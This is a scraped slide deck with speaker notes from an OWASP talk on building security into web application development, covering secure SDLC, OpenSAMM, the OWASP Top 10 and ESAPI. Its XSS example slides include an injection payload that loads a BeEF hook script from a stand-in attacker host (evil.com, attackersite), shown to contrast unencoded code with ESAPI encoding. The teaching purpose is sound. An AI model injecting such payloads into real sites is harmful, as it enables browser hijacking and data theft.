More Related Content
Similar to Application Security Done Right
![Getting Started with Apache Spark: Big Data Made Simple [Free Meetup]](https://cdn.slidesharecdn.com/ss_thumbnails/apachesparkgettingstarted-260203175547-8361bcc3-thumbnail.jpg?width=640&height=640&fit=bounds)
Application Security Done Right
- 1. OWASP Built in, not bolted on: web application security done right Paul van Woudenberg & Theo van Niekerk ThinkSmart
- 2. ThinkSmart • Paul vanWoudenberg & Theo van Niekerk • Web application development background • Strong security focus – clients have demanded it (financial institutions, etc) – we have a passion for security • Today we’re exclusively focussed on helping our clients with application security assurance • We promote OWASP where we can www.thinksmart.co.za
- 3. OWASP • The OpenWeb Application Security Project • Worldwide free and open community • Focused on improving the security of application software • Over 70 OWASP Local Chapters world-wide • Tools and documents: – detect and guard against security-related design and implementation flaws – add security-related activities to your SDLC • www.owasp.org
- 4. Information Security RiskToday • The network / infrastructure security problem is largely solved – mature – standardised – well understood • Business is moving ever increasingly to the Web – efficiencies, market reach – Web 2.0 – SaaS – mobile • Attackers have moved on to exploiting software vulnerabilities in web applications. – they follow the money – attacks tools have become industrialised
- 5. Evidence of Attacks •Reports vary, but most recent ones agree that more than 80% of attacks perpetrated today are against web applications. • 7Safe (UK Security Breach Investigations Report) – “in 86% of all attacks, a weakness in a web interface was exploited” • Privacy Rights Clearinghouse – “In 2009, 93% of all data breaches ... concerned compromised databases or applications.”
- 6. Verizon DBIR 2010 •Latest Verizon Data Breach Investigations Report (for 2010): – Who is behind data breaches? - 92% stemmed from external agents – How do breaches occur? - 50% utilised some form of hacking – What commonalities exist? - 96% of attacks were not highly difficult • Where should mitigation efforts be focused? – Eliminate unnecessary data; keep tabs on what’s left – Ensure essential controls are met – Check the above again – Assess remote access services – Test and review web applications – Audit user accounts and monitor privileged activity – Monitor and mine event logs – Examine ATMs and other payment card input devices for tampering
- 7. How prevalent areattacks? • July 2012 study: more than 50% of responding companies experienced at least one app sec breach in previous 18 month period • For many, loss > $500k per incident • Key findings: – Application security incidents are common and have severe consequences. – Many organisations still struggle with the most basic security flaws. – Most organisations do not have a holistic or strategic approach to application security. – Application development and security teams and goals are often not aligned for optimised results.
- 8.
- 9. Other App SecDrivers • Good civic hygiene (a la Phil Zimmermann, PGP & Zfone) – PZ on why we need to encrypt VOIP: “Phone calls are moving from the well-manicured neighbourhood of the PSTN to the urban blight of the Internet. We must encrypt VOIP - it’s part of good civic hygiene.” – Similarly, business processes are moving from the well-manicured neighbourhood of the front office to web apps located in the urban blight of the Internet. Properly securing web apps is part of good civic hygiene. • Compliance (e.g. PCI DSS) • New Companies Act • PPI Bill • Basel II • King III
- 10. NetSec is Stillthe Darling • InfoSec spending is missing the target (yesterday’s war). • White Hat / Imperva survey (April 2010) – “only 18% of IT security budgets were allocated to address the threat posed by insecure Web applications” • But, as we’ve seen, the majority of attacks today are against software applications. • Why are organisations still spending majority of InfoSec budget on network / infrastructure? – Force of habit / budget inertia Application – “Best practise” Presentation – Compliance Session – OSI stack-approach to security (hence WAFs) Transport Network – Software security is perceived to be hard Data Link Physical
- 11. Think Different • Softwaresecurity can no longer be ignored • But it is a different problem to net / inf sec. – Lego vs Clay • Firewalls still need to allow access to :80 or :443. • Software is like clay - has many degrees of freedom – great for creating all sorts of desired features – but often the process of building software systems results in all sorts of undesired features, including security vulnerabilities
- 12. Expectation vs Reality •So clearly, developers need to write more secure code BY THE WAY, YOUR CODE • But why would they do this if IS SECURE, ISN’T IT? they are measured only on how fast they deliver business features? • Developers don’t attend security conferences - they’re back at the office churning out features • Your software developers are your most important security resource!
- 13. Rugged Software Manifesto •ruggedsoftware.org
- 14.
- 15. Security in thespec • Security is about incentives (Ross Anderson) • Developers need to be measured on the security of their code • To do this fairly, it cannot be done in an ad-hoc fashion - developers need to fulfil security requirements just like they do feature requirements • Security requirements must be part of the spec of each system • Build security in – start by creating explicit security requirements in your specifications
- 16. The Quality Lever Source: Borland • Applies equally to security
- 17. Security Requirements • Takemeasures to avoid security bugs – OWASP Top-10 & Dev Guide – Frameworks – Tools • Take measures to reduce security design flaws – In the requirements process: • business analysis produces feature requirements • do risk analysis on business requirements to drive out security requirements - if the BA is not a security expert, get your ISO or an expert consultant to help.
- 18. Security in theDesign • Security feature design is important and hard to get right.
- 19.
- 20. Drivers for SecurityRequirements • Business needs – functional needs of the business processes implemented in the app (e.g. data access permissions, forgot password process) • Risk analysis – threat modelling, vulnerability analysis, abuse cases – attack trees, STRIDE, DREAD – involve the business owners to discover severity of each type of loss – involve your ISO • Regulatory demands – PPI – SAS 70 – ECT Act – FIPS (crypto)
- 21. Secure SDLC • Weavea thread of security through each phase of your SDLC: – Requirements – Design – Construction – Testing – Deployment – Operations – Decommissioning • Security touches all aspects of an SDLC and must be reasonably spread over the process.
- 22. Security Activities inSDLC • Typical security activities in a Secure SDLC include: – Source Code Protection – Fuzzing – Threat Modelling – Security Requirements Template – Static Analysis – Dynamic Analysis – Security Enriched Code Libraries – Automated Penetration Testing – Training – Security Code Review – Manual Penetration Test – Final Security Review/Audit
- 23. Software Assurance Program •OpenSAMM (Software Assurance Maturity Model) • An OWASP Project • Drivers for a maturity model: – An organisation’s behaviour changes slowly over time OWASP • Changes must be iterative while working toward long-term goals – There is no single recipe that works for all organisations • A solution must enable risk-based choices tailor to the organisation – Guidance related to security activities must be prescriptive • A solution must provide enough details for non-security-people – Overall, must be simple, well-defined, and measurable
- 24. SAMM Business Functions •Start with the core activities tied to any organisation !"#$%&'&($ performing software development. !"#$%&'(%)"# • Named generically, but should resonate with any developer or manager. !"#$%&'($)* !"#$%&'"()
- 25. SAMM Security Practices •From each of the Business Functions, 3 Security Practices are defined. • The Security Practices cover all areas relevant to software security assurance. • Each one is a ‘silo’ for improvement.
- 26. Under each SecurityPractice • Three successive Objectives under each Practice define how it can be improved over time. – This establishes a notion of a Level at which an organisation fulfils a given Practice. • The three Levels for a Practice generally correspond to: – (0: Implicit starting point with the Practice unfulfilled) – 1: Initial understanding and ad hoc provision of the Practice – 2: Increase efficiency and/or effectiveness of the Practice – 3: Comprehensive mastery of the Practice at scale
- 27. SAMM Roadmap • Tomake the “building blocks” usable, SAMM defines Roadmaps templates for typical kinds of organisations: – Independent Software Vendors – Online Service Providers – Financial Services Organisations – Government Organisations
- 28. SAMM Re-cap • Evaluatean organisation's existing software security practices. • Build a balanced software security assurance program in well-defined iterations. • Demonstrate concrete improvements to a security assurance program. • Define and measure security-related activities throughout an organisation.
- 29. Institutionalise App Sec •Your ISMS demands it - e.g. ISO 27001/2: – 10.9: Electronic commerce services – 11.6: Application and information access control – 12: Information systems acquisition, development and maintenance • Create a software assurance programme to address these – OpenSAMM, BSI-MM, Microsoft SDL • Weave a thread of security through your SDLC. • At very least, put security requirements in your specs & give your development teams the three T’s :) – Training (consultants can help) – Tools (lots of excellent free tools available) – Time (to get to grips with their role in security - most devs not exposed - flaw in dev education at uni, tech etc.)
- 30. App Sec inContext
- 31. App Sec inContext Secure Coding Dev Guide
- 32. App Sec inContext Secure SDLC Secure Coding Dev Guide Agile (Scrum)
- 33. App Sec inContext Software Assurance Programme Secure SDLC Secure Coding Dev Guide Agile (Scrum) OpenSAMM
- 34. App Sec inContext ISMS Software Assurance Programme Secure SDLC Secure Coding Dev Guide Agile (Scrum) OpenSAMM ISO 27001
- 35. How do Istart? • Medium to long-term – establish a formal software assurance programme (e.g. OpenSAMM). • Today – put security requirements in your specs – start with generic risk-based requirements, e.g. OWASP Top-10 – find/appoint a champion (with authority) who will oversee this
- 36. Software Development • SoftwareDevelopment Life-Cycle
- 37. Software Development • SoftwareDevelopment Life-Cycle – Coding – Deployment
- 38. Software Development • SoftwareDevelopment Life-Cycle – Coding – Deployment – Maintenance – Disposal
- 39. Software Development • SoftwareDevelopment Life-Cycle – Design – Coding – Deployment – Maintenance – Disposal
- 40. Software Development • SoftwareDevelopment Life-Cycle – Design – Coding – Testing – Deployment – Maintenance – Disposal
- 41. Software Development • SoftwareDevelopment Life-Cycle – Requirements – Design – Coding – Testing – Deployment – Maintenance – Disposal
- 42. Software Development • SoftwareDevelopment Life-Cycle – Requirements – Design – Coding – Testing Key to – Deployment success – Maintenance – Disposal
- 43. Software Development Secure •Software Development Life-Cycle – Requirements – Design – Coding – Testing Key to – Deployment success – Maintenance – Disposal
- 44. Secure SDLC • SecureSoftware Development Life-Cycle – Secure Requirements – Secure Design – Secure Coding – Secure Testing – Secure Deployment – Secure Maintenance – Secure Disposal
- 45. Secure SDLC • SecureSoftware Development Life-Cycle – Secure Requirements – Secure Design – Secure Coding – Secure Testing K ey to – Secure Deployment Se cu r i ty – Secure Maintenance – Secure Disposal
- 46. Security Requirements • Changeyour organisation – Executive buy-in – Implement S-SDLC • Steps to develop Requirements – Engage with Client / Business Partner – Identify Policies and Standards – Identify Regulatory, Compliance, and Privacy Requirements – Develop CIA Objectives – Develop Procurement Requirements – Perform Risk Assessment
- 47. Security Requirements • Changeyour organisation What’s the – Executive buy-in – Implement S-SDLC problem? • Steps to develop Requirements – Engage with Client / Business Partner – Identify Policies and Standards – Identify Regulatory, Compliance, and Privacy Requirements – Develop CIA Objectives – Develop Procurement Requirements – Perform Risk Assessment
- 48. Security Requirements • Changeyour organisation What’s the – Executive buy-in – Implement S-SDLC problem? • Steps to develop Requirements – Engage with Client / Business Partner – Identify Policies and Standards – Identify Regulatory, Compliance, and Privacy Requirements – Develop CIA Objectives – Develop Procurement Requirements – Perform Risk Assessment
- 49. Security Requirements • Changeyour organisation What’s the – Executive buy-in – Implement S-SDLC problem? • Steps to develop Requirements – Engage with Client / Business Partner – Identify Policies and Standards – Identify Regulatory, Compliance, and Privacy Requirements – Develop CIA Objectives – Develop Procurement Requirements – Perform Risk Assessment
- 50. What now? • Thereis hope :) • All that you need is available – Information – Tools – Techniques – Training – Plan • You can make a big difference
- 51. OWASP Top 10 OWASP Open Web Application Security Project • OWASP has tools and resources to help • Get the Top 10 – http://www.owasp.org/index.php/Top_10
- 52. OWASP Top 10 OWASP Open Web Application Security Project Next • OWASP has tools and resources to help Step • Get the Top 10 – http://www.owasp.org/index.php/Top_10
- 53. Top 10 -Fix these
- 54. Top 10 -Fix these Start by doing these!
- 55. Top 10 -Fix these Start by doing these!
- 56. Top 10 -XSS
- 57. Top 10 -XSS Read t h is
- 58. Top 10 -XSS Read t h is Get the C heat Sheet
- 59. XSS Cheat Sheet •Implement the XSS Prevention Rules – Never Insert Untrusted Data Except in Allowed Locations – Encode before Inserting Untrusted Data into • HTML Element Content • HTML Common Attributes • JavaScript Data Values • Style Property Values • URL Parameter Values – Validate/Clean User-driven HTML – Prevent DOM-based XSS 39
- 60. XSS Cheat Sheet •Implement the XSS Prevention Rules – Never Insert Untrusted Data Except in Allowed Locations – Encode before Inserting Untrusted Data into • HTML Element Content • HTML Common Attributes • JavaScript Data Values • Style Property Values • URL Parameter Values – Validate/Clean User-driven HTML – Prevent DOM-based XSS 39
- 61. Escaping JS Data •JavaScript Encode Before Inserting Untrusted Data into HTML JavaScript Data Values – inside quoted string <script>alert('ENCODE UNTRUSTED DATA')</script> – one side of quoted expression <script>x='ENCODE UNTRUSTED DATA'</script> – inside quoted event handler <div onmouseover="x='ENCODE UNTRUSTED DATA'"></div> 40
- 62. Unsafe Code • JSPSource <% /** name gets set to: Jim');"><script src=http://evil.com/beef/hook/ beefmagic.js.php></script><"' **/ String name = request.getParameter("name"); %> <body onload="alert('Hello <%=name%>');"> • Generated HTML <body onload="alert('Hello Jim');"><script src=http:// attackersite/beef/hook/beefmagic.js.php></script><"'');"> 41
- 63. Unsafe Code u ntru sted • JSP Source d ata <% /** name gets set to: Jim');"><script src=http://evil.com/beef/hook/ beefmagic.js.php></script><"' **/ String name = request.getParameter("name"); %> <body onload="alert('Hello <%=name%>');"> • Generated HTML <body onload="alert('Hello Jim');"><script src=http:// attackersite/beef/hook/beefmagic.js.php></script><"'');"> 41
- 64. Unsafe Code u ntru sted • JSP Source d ata <% /** name gets set to: Jim');"><script src=http://evil.com/beef/hook/ beefmagic.js.php></script><"' **/ String name = request.getParameter("name"); no enco d ing! %> <body onload="alert('Hello <%=name%>');"> • Generated HTML <body onload="alert('Hello Jim');"><script src=http:// attackersite/beef/hook/beefmagic.js.php></script><"'');"> 41
- 65. Unsafe Code u ntru sted • JSP Source d ata <% /** name gets set to: Jim');"><script src=http://evil.com/beef/hook/ beefmagic.js.php></script><"' **/ String name = request.getParameter("name"); no enco d ing! %> <body onload="alert('Hello <%=name%>');"> XSS • Generated HTML inje ction <body onload="alert('Hello Jim');"><script src=http:// attackersite/beef/hook/beefmagic.js.php></script><"'');"> 41
- 66. Security Control • Whatshould the Control do? – Encode unsafe data – Prevent switching out of the data value context • into the script context • into or into another attribute. • How? – Allow Alphanumeric characters – Encode chars < 256 using the xHH format – Encode chars >= 256 using the uHHHH format – Don’t use shortcuts like " t n – HTML parser runs before JS parser, e.g. </script> inside quotes 42
- 67. Selecting a Control •Think carefully before rolling your own – May introduce new vulnerabilities – May not work correctly – Don’t reinvent the wheel • Your Framework is your friend – Tapestry/Spring/Cake/Symfony – But verify the implementation first! • Microsoft SDL – http://antixss.codeplex.com • OWASP Enterprise Security API – ESAPI – Java and PHP 43
- 68. OWASP’s ESAPI • EnterpriseSecurity API – by OWASP • Set of foundational security controls • Integrated with each other • BSD license • Major security firm did line-by-line code review • Get there faster and cheaper • Includes Intrusion Detection Framework – Wire this do the inner workings of your app – Security Logs – WAF with custom rules 44
- 69. Safe Code (withESAPI) • JSP Source <% /** name gets set to: Jim');"><script src=http://attackersite/beef/hook/ beefmagic.js.php></script><"' **/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name); %> <body onload="alert('Hello <%=safe%>');"> • Produced HTML <body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');"> 45
- 70. Safe Code (withESAPI) • JSP Source <% /** name gets set to: Jim');"><script src=http://attackersite/beef/hook/ beefmagic.js.php></script><"' **/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name); %> <body onload="alert('Hello <%=safe%>');"> • Produced HTML <body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');"> 45
- 71. Safe Code (withESAPI) untrus te d • JSP Source data <% /** name gets set to: Jim');"><script src=http://attackersite/beef/hook/ beefmagic.js.php></script><"' **/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name); %> <body onload="alert('Hello <%=safe%>');"> • Produced HTML <body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');"> 45
- 72. Safe Code (withESAPI) untrus te d • JSP Source data <% /** name gets set to: Jim');"><script src=http://attackersite/beef/hook/ proper enco d ing beefmagic.js.php></script><"' **/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name); %> <body onload="alert('Hello <%=safe%>');"> • Produced HTML <body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');"> 45
- 73. Safe Code (withESAPI) untrus te d • JSP Source data <% /** name gets set to: Jim');"><script src=http://attackersite/beef/hook/ proper enco d ing beefmagic.js.php></script><"' **/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name); %> safe <body onload="alert('Hello <%=safe%>');"> • Produced HTML rend ering <body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');"> 45
- 74. Safe Code (withESAPI) • JSP Source <% /** name gets set to: Jim');"><script src=http://attackersite/beef/hook/ beefmagic.js.php></script><"' **/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name); %> <body onload="alert('Hello <%=safe%>');"> • Produced HTML <body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');"> 45
- 75. More ESAPI • JSPSource where’s the input <% /** name gets setto: vali dation? Jim');"><script src=http://attackersite/beef/hook/ beefmagic.js.php></script><"' **/ String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name); %> <body onload="alert('Hello <%=safe%>');"> • Produced HTML <body onload="alert('Hello Jimx27x29x3Bx22x3Ex3Cscript x20srcx3Dhttpx3Ax2Fx2Fattackersitex2Fbeefx2Fhook x2Fbeefmagic.js.phpx3Ex3Cx2Fscriptx3Ex3Cx22x27');"> 46
- 76. More ESAPI where’s the input vali dation? String name = request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name); 46
- 77. More ESAPI String name= request.getParameter("name"); String safe = ESAPI.encoder().encodeForJavaScript(name); 46
- 78. Input Validation Validator validator= ESAPI.validator(); try { String name = validator.getValidInput(context, request.getParameter("name"), CLIENT_RE,16,false); String safe = ESAPI.encoder().encodeForJavaScript(name); //normal workflow } catch (ValidationException x) { // report input failure to user } 47
- 79. Input Validation Validator validator= ESAPI.validator(); vali d try { ate String name = validator.getValidInput(context, request.getParameter("name"), input CLIENT_RE,16,false); String safe = ESAPI.encoder().encodeForJavaScript(name); //normal workflow } catch (ValidationException x) { // report input failure to user } 47
- 80. Input Validation Validator validator= ESAPI.validator(); vali d try { ate String name = validator.getValidInput(context, request.getParameter("name"), input CLIENT_RE,16,false); String safe = ESAPI.encoder().encodeForJavaScript(name); //normal workflow } catch (ValidationException x) { // report input failure to user } 47
- 81. Input Validation Validator validator= ESAPI.validator(); vali d try { ate String name = validator.getValidInput(context, request.getParameter("name"), input CLIENT_RE,16,false); String safe = ESAPI.encoder().encodeForJavaScript(name); //normal workflow } catch (ValidationException x) { // report input failure to user } 47
- 82. Input Validation Validator validator= ESAPI.validator(); vali d try { ate String name = validator.getValidInput(context, request.getParameter("name"), input CLIENT_RE,16,false); String safe = ESAPI.encoder().encodeForJavaScript(name); //normal workflow } catch (ValidationException x) { // report input failure to user } ESAPI: does security logg ing wakes up Intrusion Detection 47
- 83. Top 10 -Done Start by doing these! 48
- 84. Top 10 -Done 48
- 85. Top 10 -Done ESAPI Encoder API 48
- 86. Top 10 -Done ESAPI Encoder, Validator APIs ESAPI Encoder API ESAPI Authenticator, User APIs ESAPI Access Ref Map, Access Ctrl APIs ESAPI HTTPUtils ESAPI Encryptor API ESAPI Access Control API ESAPI Security Wrapper Response 48
- 87. Top 10 -Done ESAPI Encoder, Validator APIs ESAPI Encoder API ESAPI Authenticator, User APIs ESAPI Access Ref Map, Access Ctrl APIs ESAPI HTTPUtils ESAPI Encryptor API ESAPI Access Control API ESAPI Security Wrapper Response 48
- 88. So what aboutrisk #11? • You’re not done yet - the Top-10 is just the beginning • OWASP Top-10 - document references & additional risks references. • OWASP Development Guide – http://www.owasp.org/index.php/Category:OWASP_Guide_Project – 2005 version – Surprisingly still very valid – 2010 version under development • CWE / SANS Top 25 – http://cwe.mitre.org/top25/index.html • WASC – http://projects.webappsec.org/Threat-Classification – http://projects.webappsec.org/Threat-Classification-Taxonomy-Cross-Reference-View
- 89. OWASP Thank You! Questions? www.owasp.org www.thinksmart.co.za
Editor's Notes
- #2 \n
- #3 Who are we, where do we come from and why do we think we&#x2019;re qualified to speak about building secure apps?\n\nBuilt web apps most of our professional lives and still actively maintain an in-house web payment system.\n\nWe perform application security assessments using an &#x201C;inside-out&#x201D; approach (design time assessment as opposed to an adversarial penetration test)\n\nWe help development teams design secure business processes and application architectures\n\nWe try to advocate application security where we can\n
- #4 The Open Web Application Security Project (OWASP) is a worldwide free and open community focused on improving the security of application software. There are over 70 OWASP Local Chapters world-wide that are free and open to anyone to attend. OWASP tools and documents can be used to detect and to guard against security-related design and implementation flaws, as well as to add security-related activities into YOUR Software Development Life Cycle (SDLC). \nFor more information please visit http://www.owasp.org\n
- #5 To set the scene we&#x2019;d like to start by looking at where information security risks lie today.\n\nRisk in the net / inf is largely under control. As our ability to secure our network infrastructure has developed, attackers have turned their attention to web applications because they have become the softer target. At the same time, companies are increasingly moving their business processes to the Web to take advantage of the efficiencies and market reach it provides. This has dramatically increased the opportunity for attack by people seeking to undermine business through fraud, theft, extortion or espionage. A perfect storm of sorts.\n\nAttack tools have become industrialised, allowing the person with intent easy access to the means to commit the crime (was not the case in the recent past).\n\nTell the Dali Lama hack story - &#x201C;today attackers can buy a root kit and go hunting&#x201D; (Ross Anderson).\n\nVarious recent studies support this notion...\n
- #6 Anecdotally, we can support this - we&#x2019;re a small consultancy and recently we have had three clients who have suffered directly from app sec attacks. In one case it was a small business who lost a CMS (and the data!) in a drive-by SQLi attack.\n\nClearly, thinking you&#x2019;ll never get attacked is not a good strategy.\n
- #7 To underpin this, here is an extract from the highly respected Verizon DBIR executive summary.\n\nNote that the report does not say that mitigation efforts need to focus on installing a firewall\n\nThe focus of attention should now be web apps and evolving ways of building them more securely \n
- #8 \n
- #9 \n
- #10 We&#x2019;ve seen that the focus of attacks on web applications is clearly one driver for application security, but what are the others?\n\nTo use Phil Zimmermann&#x2019;s very eloquent idiom...: (last year&#x2019;s ITWeb Summit)\n\nWeb Apps are a fundamental part of our modern day society.\n\nWe need to mature app sec - e.g. even Internet banking is in ICU at the moment, in some ways the attackers have the upper hand.\n\nBe responsible citizens - our clients (users) are demanding it (e.g. phishing victims).\n\nPCI DSS 6.5: &#x201C;Develop all web applications (internal and external, and including web administrative access to application) based on secure coding guidelines such as the Open Web Application Security Project Guide.&#x201D;\n
- #11 &#x201C;Data security doesn&#x2019;t stop with network firewalls and anti-virus. \nThe threat landscape has shifted from bringing down networks to stealing data, \nand it&#x2019;s time to stop fighting yesterday&#x2019;s war.&#x201D; (S Kramer, CEO, Imperva) \n\nApril 2010 survey, &#x201C;The State of Application Security&#x201D;\n\nBut even though apps are the focus of attacks, NetSec is still the darling. It gets the bulk of the spend.\n\nCompliance requirements tend to lag the trend. e.g. PCI DSS still prioritises net sec over app sec\n\nBudget inertia - Gunnar Peterson says the same\n\nRelate Gary McGraw description of app sec as a network problem (OSI stack, app is just a layer 7 problem, hence app firewalls!)\n\nGMcG: Perhaps the app sec industry could learn from the net sec industry - they must have had the same challenge wresting budget away from the physical sec guys!\n
- #12 With apologies to Apple, we need to Think Different.\n\nDon&#x2019;t ignore application security just because it seems to be difficult.\n\nApp sec needs a different approach from NetSec - lego vs clay\n\nThe &#x201C;hole&#x201D; allows access to the entire application - its features and its flaws.\n\nIt&#x2019;s hard enough designing good software; security makes it harder still.\n\nApplication security can not be seen as a net sec problem. WAFs can complement a built-in approach, but not replace it. WAFs are complex chunks of code that have their own vulns.\n\nAsk how many devs in audience...\n
- #13 So we need to build security in. Devs obviously should be writing more secure code. But why should they?\n\nManagers often take a naive, simplistic view on security, as if it is naturally part of every developer&#x2019;s skill set like the ability to implement a sorting function. Universities today still don&#x2019;t teach security to CompSci students.\n\nFor most developers today, caring too much about security is probably a career-limiting move. They need to focus on that latest AJAX / iPhone app / Rails skill to get the big bucks job.\n\nSoftware development teams, under pressure to deliver features and meet deadlines, often respond to concerns about the security of their web applications by commissioning a last-minute security assessment and then desperately attempting to address only the most glaring findings. They may even simply throw up a web application firewall to mitigate the threats. Such bolted-on solutions are not long-term answers to web application security.\n\nSo how do you get your developers to write more secure code?\n
- #14 ... you could appeal to their conscience ...\n\nEncourage them to subscribe to the Rugged Manifesto, LOL!\n
- #15 ... or send them on a training course ...\n\nThat&#x2019;s a better idea, but...\n\nthen they get back to the office and the net effect is that they now have (n - training.course.days) to finish the features.\n
- #16 Trying to make security a religion or turning selected devs into security ninja&#x2019;s is only a partial and temporary response to the problem.\n\nRoss Anderson, in his great book &#x201C;Security Engineering&#x201D;, makes the point that security is about incentives.\n\nThe only sustainable way is to put security in the spec. I.e. make it part of the requirements of your project and one of the fundamental ways in which the performance of your development teams are measured. Everything flows from there as we will show.\n\nSoftware development teams, under pressure to deliver features and meet deadlines, often respond to concerns about the security of their web applications by commissioning a last-minute security assessment and then desperately attempting to address only the most glaring findings. \n\nThe only way to build security in to to make it part of the requirements.\n\nObviously this has implications, not least of which is on the cost of your project. \n\nWe&#x2019;ll talk about these as we go along.\n
- #17 So why this emphasis on spec&#x2019;cing for security - why not just code it, or test for it?\n\n1. It&#x2019;s the most efficient place to do it.\n2. The SDLC you use today will be able to cope with it (i.e. no need to change your SDLC to cope).\n
- #18 Two types of security requirements: \n1. avoid security bugs\n2. avoid security design flaws (software works as intended, but the intention was wrong or unintended features exist that do not break functionality but enable exploits).\n\n(Gary McGraw) - perhaps up to 50% of security vulnerabilities are design flaws, not bugs.\n
- #19 Don&#x2019;t fixate on the latest headline-grabbing vulnerabilities.\n\nA famous scene from the Marx Brothers movie, Horse Feathers, features Baravelli guarding the speakeasy, and Wagstaff trying to get in. The password for entry is "Swordfish". This bit was the inspiration for the title of the hacker movie called Swordfish. \n\nImaging the guy on the left is the manager / business analyst and the guy on the right is the developer. Basically the whole &#x201C;watch the door&#x201D; process gets left up to &#x201C;the developer&#x201D; to design.\n\nYou need a lateral thinker to get security design right - someone who can think like an adversary. Not common.\n
- #20 Bad or missing requirements get left up to the developers to invent - they&#x2019;re not always in tune with the big picture...\nApart from the complete failure of the control because the password retry protocol was left up to the dev to design (with "here is the password" as the prompt for the third retry!)\n Some good aspects:\n- There seemed to be a blacklist for easy-to-guess passwords (not "password"!)\n- Swordfish is not a great password but it is at least not in the top 500 bad passwords.\n- They change the password often\n
- #21 Three drivers of security requirements.\n\nThe ISO should understand the business better than anyone if he is to have any hope in making a contribution to this process.\n\nNB! Let&#x2019;s read this again!\n
- #22 Security requirements are just one aspect of a secure SDLC. All phases of an SDLC must be &#x201C;touched&#x201D; by security to make a sustainable difference to the security of the code produced by your team.\n\nThis is where a Software Assurance Programme can help - using resources such as OpenSAMM, BSI-MM and Microsoft SDL, orgs have access to great prescriptive guidance as how to go about bootstrapping their SDLCs for App Sec.\n
- #23 So how do you integrate these activities in your SDLC?\n\nOne step at a time! Your software assurance programme should lead the way.\n
- #24 \n
- #25 \n
- #26 \n
- #27 \n
- #28 \n
- #29 Your software assurance programme should do these things.\n
- #30 Get app sec into the DNA of your company, just like you have already institutionalised NetSec & InfraSec (e.g. anti-virus, firewalls, VPN, laptop encryption etc.).\n\nStarting at the top, ISO27001/2 standard - controls directly address app sec.\n\nA Software Assurance Programme directly addresses these control requirements in your ISMS.\n\nThe SAP weaves a golden thread of security through your SDLC.\n\nAgain, your devs are NB!\n
- #31 \n
- #32 \n
- #33 \n
- #34 \n
- #35 In the medium to long term, you need to institutionalise app sec.\n\nYou can start today by opening up your user story template and adding just one line - a link to the OWASP Top-10, i.e. &#x201C;the security requirement is that we are not vulnerable to this list of security bugs&#x201D;\n
- #36 How do you write software?\nBy using a process called the SDLC\nSome only do coding, deployment\nOthers include design and testing.\nBut without requirements you can&#x2019;t really do any of the other phases.\nWhat do you design, code, test against? \nOr for that matter deploy and maintain?\nProper, clear requirements are the key to success of any software project\nSo, how do you write secure software?\n
- #37 How do you write software?\nBy using a process called the SDLC\nSome only do coding, deployment\nOthers include design and testing.\nBut without requirements you can&#x2019;t really do any of the other phases.\nWhat do you design, code, test against? \nOr for that matter deploy and maintain?\nProper, clear requirements are the key to success of any software project\nSo, how do you write secure software?\n
- #38 How do you write software?\nBy using a process called the SDLC\nSome only do coding, deployment\nOthers include design and testing.\nBut without requirements you can&#x2019;t really do any of the other phases.\nWhat do you design, code, test against? \nOr for that matter deploy and maintain?\nProper, clear requirements are the key to success of any software project\nSo, how do you write secure software?\n
- #39 How do you write software?\nBy using a process called the SDLC\nSome only do coding, deployment\nOthers include design and testing.\nBut without requirements you can&#x2019;t really do any of the other phases.\nWhat do you design, code, test against? \nOr for that matter deploy and maintain?\nProper, clear requirements are the key to success of any software project\nSo, how do you write secure software?\n
- #40 How do you write software?\nBy using a process called the SDLC\nSome only do coding, deployment\nOthers include design and testing.\nBut without requirements you can&#x2019;t really do any of the other phases.\nWhat do you design, code, test against? \nOr for that matter deploy and maintain?\nProper, clear requirements are the key to success of any software project\nSo, how do you write secure software?\n
- #41 How do you write software?\nBy using a process called the SDLC\nSome only do coding, deployment\nOthers include design and testing.\nBut without requirements you can&#x2019;t really do any of the other phases.\nWhat do you design, code, test against? \nOr for that matter deploy and maintain?\nProper, clear requirements are the key to success of any software project\nSo, how do you write secure software?\n
- #42 How do you write software?\nBy using a process called the SDLC\nSome only do coding, deployment\nOthers include design and testing.\nBut without requirements you can&#x2019;t really do any of the other phases.\nWhat do you design, code, test against? \nOr for that matter deploy and maintain?\nProper, clear requirements are the key to success of any software project\nSo, how do you write secure software?\n
- #43 How do you write software?\nBy using a process called the SDLC\nSome only do coding, deployment\nOthers include design and testing.\nBut without requirements you can&#x2019;t really do any of the other phases.\nWhat do you design, code, test against? \nOr for that matter deploy and maintain?\nProper, clear requirements are the key to success of any software project\nSo, how do you write secure software?\n
